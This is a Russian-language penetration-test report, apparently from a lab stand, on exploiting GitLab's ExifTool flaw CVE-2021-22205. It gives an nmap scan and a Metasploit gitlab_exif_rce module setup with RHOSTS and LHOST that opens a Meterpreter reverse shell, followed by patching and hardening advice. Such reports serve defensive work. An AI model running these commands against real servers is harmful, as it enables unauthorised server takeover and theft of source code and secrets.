Отказ от ответственности: Данная статья написана в образовательных целях. Автор не несет ответственности за попытки применения данных техник на реальных объектах без согласия владельца. Не нарушайте закон.

Информация: В данной статье рассматривается сценарий эксплуатации критической уязвимости в GitLab. Материал подготовлен на базе учебного стенда и демонстрирует риски использования устаревшего ПО в корпоративной среде.

Дата: 10 февраля 2026 г.

Статус: Критическая уязвимость (RCE)

Тип тестирования: Black Box

Вектор атаки: External

 

1. ОСНОВНЫЕ ПОЛОЖЕНИЯ#

1.1 Общее описание#

В ходе планового тестирования был проанализирован инстанс GitLab, доступный по адресу <IP>. В результате анализа была обнаружена и успешно проэксплуатирована критическая уязвимость, позволяющая неавторизованному злоумышленнику полностью захватить контроль над сервером.

1.2 Ключевые риски#

  • Конфиденциальность: Злоумышленник получает доступ ко всем репозиториям, исходному коду, секретам (API-ключам) и базе данных пользователей.

  • Целостность: Возможность внедрения вредоносного кода в разрабатываемые продукты.

  • Доступность: Риск полной остановки работы сервиса или удаления всех данных.

1.3 Итоговая оценка риска#

ПараметрЗначение
Уровень критичностиКРИТИЧЕСКИЙ (CRITICAL)
Сложность эксплуатацииНизкая (доступны публичные эксплойты)
Требования к аутентификацииНе требуются

 

2. ТЕХНИЧЕСКИЙ ОТЧЕТ#

2.1 Обнаруженная уязвимость#

Название: Удаленное выполнение произвольного кода через ExifTool (Unauthenticated RCE).

Идентификатор: CVE-2021-22205

Оценка CVSS v3.1: 10.0 / 10.0

2.2 Описание вектора атаки#

Уязвимость связана с некорректной обработкой метаданных изображений в библиотеке ExifTool, используемой компонентом GitLab Workhorse. Злоумышленник может отправить специально сформированный файл на эндпоинт загрузки (даже если регистрация требует одобрения), что приведет к выполнению кода на стороне сервера.

2.3 Воспроизведение#

Шаг 1: Сканирование целевого узла

Bash

1
2
nmap -sR <IP>
# Обнаружен: GitLab Community Edition (Web-сервер Nginx)

Шаг 2: Эксплуатация через Metasploit Framework

Использован модуль exploit/multi/http/gitlab_exif_rce.

Bash

1
2
3
4
use exploit/multi/http/gitlab_exif_rce
set RHOSTS <IP>
set LHOST <IP>
exploit

Шаг 3: Подтверждение доступа

После выполнения эксплойта получена интерактивная сессия Meterpreter с правами пользователя git.

Bash

1
meterpreter >

 

3. План исправления#

3.1 Срочные меры#

  1. Обновление системы: Незамедлительно обновить GitLab до последней актуальной версии. Минимально допустимые версии для устранения данной уязвимости: 13.10.3, 13.9.6 или 13.8.8.

  2. Аудит сессий: Проверить логи сервера на предмет подозрительных POST-запросов к /uploads/user за последние 30 дней.

3.2 Рекомендации по укреплению защиты#

  • Сегментация: Ограничить доступ к GitLab на уровне сетевого экрана (Firewall), разрешив подключения только из доверенных VPN-подсетей компании.

  • Использование WAF: Настроить Web Application Firewall (например, ModSecurity) для блокировки сигнатур, характерных для манипуляций с Exif-данными в HTTP-запросах.

 

4. ПРИЛОЖЕНИЯ#

  • Инструментарий: Metasploit Framework, Nmap.